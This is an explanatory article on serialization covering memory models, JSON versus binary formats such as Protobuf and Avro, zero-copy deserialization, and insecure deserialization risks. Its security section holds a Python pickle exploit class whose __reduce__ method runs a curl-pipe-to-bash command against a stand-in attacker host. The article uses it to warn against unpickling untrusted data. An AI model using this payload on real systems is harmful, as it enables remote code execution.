What is Serialization?

What Does Serialization Mean and Why Is It Necessary? Memory Model

In modern operating systems, each process runs in its own isolated virtual address space. An object at runtime; It contains local variables on the stack, dynamically allocated memory blocks on the heap, function pointers (vtable) and reference addresses (0x7ffee4b2...).

This memory structure cannot be copied directly to another medium for two main reasons:

1. Address Space Isolation: Memory pointers are meaningful only in the virtual address table of the currently running process. When you send a memory pointer to another process on the same server or to a client on the network, a segmentation fault or memory corruption occurs on the target system.
2. Architecture and Endianness Differences: Different processor architectures (e.g., Little-Endian x86-64 vs. Big-Endian networking hardware) keep multibyte integers and floating-point numbers in memory in different byte ordering. Additionally, pointer widths and data alignments (padding) are different in 32-bit and 64-bit systems.

Serialization mechanism; It traverses or graph traverses the object graph in memory (including cyclic references), transforms local pointers into logical relations, and puts the data into a platform-independent canonical byte sequence.

Serialization Formats: Text-Based vs Binary

Choosing the right serialization format in software architecture; It requires a balance between human readability, CPU parsing cost, network bandwidth, and type safety.

1. Text Based Formats (JSON, YAML, XML)

• JSON (JavaScript Object Notation): The de facto standard of the modern web and RESTful APIs. It is language agnostic, natively supported in browsers, and easily read and debuggable by developers.
• Weaknesses: Text-based parsing (lexing, tokenizing, string-to-number conversions) consumes serious CPU. Repeating key names (field keys) in each record creates unnecessary payload overhead. Also, carrying binary data (e.g. an image or encrypted key) requires Base64 encoding; This inflates the data size by approximately 33%.

2. Binary and Schematic Formats (Protobuf, Avro, MessagePack)

• Protocol Buffers (Protobuf): It is a binary format developed by Google that forms the backbone of gRPC and microservice communication. It defines field types and field numbers (field tags) with a solid schema file (.proto). Instead of text keys, numeric labels and variable-length integer encoding (Varint) are sent over the network. It consumes 3 to 10 times less bandwidth than JSON and parses much faster.
• Apache Avro: Common in the big data (Hadoop, Kafka) ecosystem. The schema is kept in a central registry (Schema Registry) rather than being embedded within each message. In this way, the additional load per message is minimized.
• MessagePack and BSON: Stores data in a binary compressed format, preserving JSON's flexible, schemaless key-value model.

Zero-Copy Deserialization Architecture

In classic serialization libraries (JSON parsers or standard Protobuf) the deserialization process is carried out with these steps:

1. The byte stream coming from the network socket is written into a temporary buffer.
2. The parser verifies types by scanning bytes.
3. New memory is allocated for each object, string, and array in the heap area of ​​memory (malloc, or the language's memory manager).
4. Values ​​are copied from the buffer memory to the newly created heap objects.

In systems where hundreds of thousands of requests are processed per second, these heap allocations and copy operations lead to high CPU consumption and Garbage Collector pauses.

Zero-Copy Approach (FlatBuffers, Cap'n Proto): When data is serialized in these libraries, it is placed in the binary buffer in accordance with the memory alignment and relative offsets.

No memory allocation or data copying occurs during the Deserialization phase. The application maps (mmap) the incoming byte buffer directly into memory and accesses object fields directly by pointer arithmetic. Deserialization time is effectively 0 milliseconds. This architecture; It is standard in high-frequency trading (HFT), edge computing (Edge AI) and AAA game engines.

Security Dimension: Insecure Deserialization (CWE-502)

Catastrophic security vulnerabilities arise when serialization attempts to serialize object classes and runtime behaviors rather than just moving pure data. Insecure Deserialization (Insecure Reverse Serialization), which is in the OWASP Top 10 list, allows the attacker to run arbitrary code (Remote Code Execution - RCE) on the system.

Python pickle Example

Python's built-in serialization module pickle serializes the __reduce__ method of objects. This method defines a function and its parameters to be called during object deserialization. By abusing this mechanism, an attacker can generate a malicious byte sequence that executes an operating system command:

# Saldırgan tarafından hazırlanan zararlı serileştirme paketi
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl -s https://attacker.com/steal.sh | bash',))

As soon as this byte stream is sent to the server and pickle.loads(payload) is executed, an unauthorized shell command is executed on the server. Therefore, any data from untrusted sources should not be parsed with pickle.

Java and Gadget Chains

In Java's native serialization mechanism (ObjectInputStream.readObject()), the class loader loads the class of the incoming object into memory. Attacker; It can build an execution chain that runs commands on memory by connecting the methods of classes in libraries installed on the system (for example, Apache Commons Collections or Spring Framework) (gadget chain).

Secure Serialization Principles

• Never use language-integrated formats containing executable code or class definitions (Python pickle, Java native serialization, PHP unserialize) at network boundaries.
• Choose formats that only carry pure data and validate the data structure against the schema (JSON + Pydantic/Zod or Protobuf).
• Implement authentication and message integrity control (HMAC or TLS) on binary data exchanges.

Questions and answers

Related terms

Related tools